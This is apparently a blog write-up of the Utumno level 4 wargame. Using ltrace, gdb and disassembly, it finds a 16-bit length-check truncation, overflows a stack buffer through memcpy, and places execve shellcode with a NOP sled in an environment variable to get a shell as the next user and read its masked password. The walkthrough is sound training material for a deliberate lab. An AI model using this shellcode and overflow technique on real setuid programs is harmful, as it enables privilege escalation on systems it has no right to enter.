utumno4@utumno:~$ ltrace /utumno/utumno4 __libc_start_main(0x804844b, 1, 0xffffd794, 0x80484a0 <unfinished ...> atoi(0, 0, 0, 0 <no return ...>
Let's add a numeric argument on command line
utumno4@utumno:~$ ltrace /utumno/utumno4 1 __libc_start_main(0x804844b, 2, 0xffffd794, 0x80484a0 <unfinished ...> atoi(0xffffd8c5, 0, 0, 0) = 1 memcpy(0xfffed7f6, nil, 1 <no return ...>
Now executes a memcpy() with a target buffer on the stack, a null source buffer and a lenght of 1 (the argument).
Let's try to pass two parameters
utumno4@utumno:~$ ltrace /utumno/utumno4 1 A __libc_start_main(0x804844b, 3, 0xffffd794, 0x80484a0 <unfinished ...> atoi(0xffffd8c3, 0, 0, 0) = 1 memcpy(0xfffed7f6, "A", 1) = 0xfffed7f6
So it copies on the stack the second parameter using the first parameter as the number of bytes to copy.
Time to look at the code after the atoi() call
0x08048462 <+23>: add $0x4,%esp 0x08048465 <+26>: mov %eax,-0x4(%ebp) 0x08048468 <+29>: mov -0x4(%ebp),%eax 0x0804846b <+32>: mov %ax,-0x6(%ebp) 0x0804846f <+36>: cmpw $0x3f,-0x6(%ebp) 0x08048474 <+41>: jbe 0x804847d <main+50> 0x08048476 <+43>: push $0x1 0x08048478 <+45>: call 0x8048310 <exit@plt> 0x0804847d <+50>: mov -0x4(%ebp),%edx 0x08048480 <+53>: mov 0xc(%ebp),%eax 0x08048483 <+56>: add $0x8,%eax 0x08048486 <+59>: mov (%eax),%eax 0x08048488 <+61>: push %edx 0x08048489 <+62>: push %eax 0x0804848a <+63>: lea -0xff02(%ebp),%eax 0x08048490 <+69>: push %eax 0x08048491 <+70>: call 0x8048300 <memcpy@plt>
The return value from atoi() is put in the location [%ebp - 4].
But there after the same value is put in the location [%ebp -6]
If the low 16 bits value at location [%ebp -6] are higher than 0x3f (decimal 63), the program exits. If not, it goes on to memcpy(), but it uses the value at [%ebp - 4] as counter for memcpy().
There is a mismatch between the value used as check (value at [%ebp - 6]) and the number of bytes to be copied (value at [%ebp - 4])
We can use some specific number to trigger a longer memcpy by chosing a command line parameter greater than 0xffff but less that 0x103f
[%ebp - 4] will be bigger than 0x103f while lowest 16 bits of [%ebp - 6 ] will be less that 0x03f.
Let's try with a number of 65538 and a long buffer of 65538 "A"
(gdb) set args 65538 $(python -c 'print "A"*65538') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /utumno/utumno4 65538 $(python -c 'print "A"*65538') Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
We are able to execute a longer memcpy and overwrite the return address of the main()
Now we have to understand the correct position of the return address
(gdb) set args 65538 $(python -c 'print "A"*65286 +"BBBB"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /utumno/utumno4 65538 $(python -c 'print "A"*65286 + "BBBB"') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
OK, found!
The steps are easy (similar to previous level):
- create an EGG with a NOP sled, and then put into the stack
- replace BBBB with an address on the stack that is inside the NOP sled of the EGG
utumno4@utumno:~$ export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"') utumno4@utumno:~$ /utumno/utumno4 65538 $(python -c 'print "A"*65286 + "\x60\xde\xff\xff"') $ id uid=16004(utumno4) gid=16004(utumno4) euid=16005(utumno5) groups=16004(utumno4) $ cat /etc/utumno_pass/utumno5 w********k
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.